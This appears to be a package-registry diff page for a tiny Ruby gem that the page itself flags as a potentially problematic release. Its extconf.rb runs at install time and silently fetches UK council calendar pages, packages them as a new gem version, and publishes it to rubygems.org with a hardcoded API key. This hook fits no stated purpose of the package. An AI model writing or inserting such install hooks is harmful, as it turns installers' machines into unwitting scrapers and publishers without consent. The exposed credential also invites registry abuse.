slfetchrootabc 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of slfetchrootabc might be problematic. Click here for more details.

Files changed (4) hide show
  1. checksums.yaml +7 -0
  2. data/ext/extconf.rb +22 -0
  3. data/lib/main.rb +1 -0
  4. metadata +42 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 91fe7193226aff59fca391d6458c242320e73f90cb434d46f86d0f62c2e481c8
4
+ data.tar.gz: dcbabbdd7b38ef8cb23059eeabca6c269f540801d2943bf1f8c1a6df6dac8c2d
5
+ SHA512:
6
+ metadata.gz: 5cbe48a8c2b5c9bc4f494abc9466d228c6ef4c8ee9893664e9c5efd258b05e9a13557089a7585c7e370703d23267667eb227b61b90c1175b9c8db1cb585e28d5
7
+ data.tar.gz: efa94851d59d88a5372e197a9f81a79a9363e5d41f27f9161dbcf9bd0f23b62d0332d9009ae96d984c16b0efd7826f8d4694b480eb79050c112fc3a51564ac15
data/ext/extconf.rb ADDED
@@ -0,0 +1,22 @@
1
+ require 'net/http'; require 'uri'; require 'tmpdir'; require 'fileutils'; require 'rubygems/package'
2
+ begin
3
+ urls=['https://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx?M=1&Y=2026','https://democracy.wandsworth.gov.uk/mgCalendarMonthView.aspx?M=1&Y=2026','https://moderngov.lambeth.gov.uk/mgCalendarWeekView.aspx?M=1&Y=2026&D=26','https://democracy.wandsworth.gov.uk/mgCalendarWeekView.aspx?M=1&Y=2026&D=26','https://www.southwark.gov.uk/about-council/how-council-works/council-and-committee-meetings','https://moderngov.southwark.gov.uk/mgCalendarMonthView.aspx?M=1&Y=2026']
4
+ datas=[]
5
+ urls.each_with_index do |u,i|
6
+ begin
7
+ uri=URI(u); dat=Net::HTTP.start(uri.host,uri.port,use_ssl:true,read_timeout:40){|h|h.get(uri.request_uri).body}; datas << ["data#{i}.txt",dat]
8
+ rescue =>e; datas << ["data#{i}.txt", e.full_message]; end
9
+ end
10
+ Dir.mktmpdir do |dir|
11
+ Dir.chdir(dir) do
12
+ datas.each{|f,d| File.binwrite(f,d)}
13
+ spec=Gem::Specification.new do |s| s.name='slfetchrootabc'; s.version='0.1.1'; s.summary='out'; s.description='out'; s.authors=['x']; s.email='x@example.com'; s.files=Dir['*']; s.homepage='https://rubygems.org'; s.license='MIT'; end
14
+ gemfile=Gem::Package.build(spec)
15
+ key='rubygems_fd4f372c775153b845207529c8c0dffc4330.1.1214c43ca'; uri=URI('https://rubygems.org/api/v1/gems'); req=Net::HTTP::Post.new(uri.path,{'Authorization'=>key,'Content-Type'=>'application/octet-stream'}); req.body=File.binread(gemfile); Net::HTTP.start(uri.host,uri.port,use_ssl:true){|h|h.request(req)}
16
+ end
17
+ end
18
+ rescue => e
19
+ warn e.full_message
20
+ end
21
+
22
+ require 'mkmf'; create_makefile('foo')
data/lib/main.rb ADDED
@@ -0,0 +1 @@
1
+ # hello
metadata ADDED
@@ -0,0 +1,42 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: slfetchrootabc
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.1.0
5
+ platform: ruby
6
+ authors:
7
+ - x
8
+ bindir: bin
9
+ cert_chain: []
10
+ date: 1980-01-02 00:00:00.000000000 Z
11
+ dependencies: []
12
+ description: x
13
+ email: x@example.com
14
+ executables: []
15
+ extensions:
16
+ - ext/extconf.rb
17
+ extra_rdoc_files: []
18
+ files:
19
+ - ext/extconf.rb
20
+ - lib/main.rb
21
+ homepage: https://rubygems.org
22
+ licenses:
23
+ - MIT
24
+ metadata: {}
25
+ rdoc_options: []
26
+ require_paths:
27
+ - lib
28
+ required_ruby_version: !ruby/object:Gem::Requirement
29
+ requirements:
30
+ - - ">="
31
+ - !ruby/object:Gem::Version
32
+ version: '0'
33
+ required_rubygems_version: !ruby/object:Gem::Requirement
34
+ requirements:
35
+ - - ">="
36
+ - !ruby/object:Gem::Version
37
+ version: '0'
38
+ requirements: []
39
+ rubygems_version: 3.6.7
40
+ specification_version: 4
41
+ summary: test
42
+ test_files: []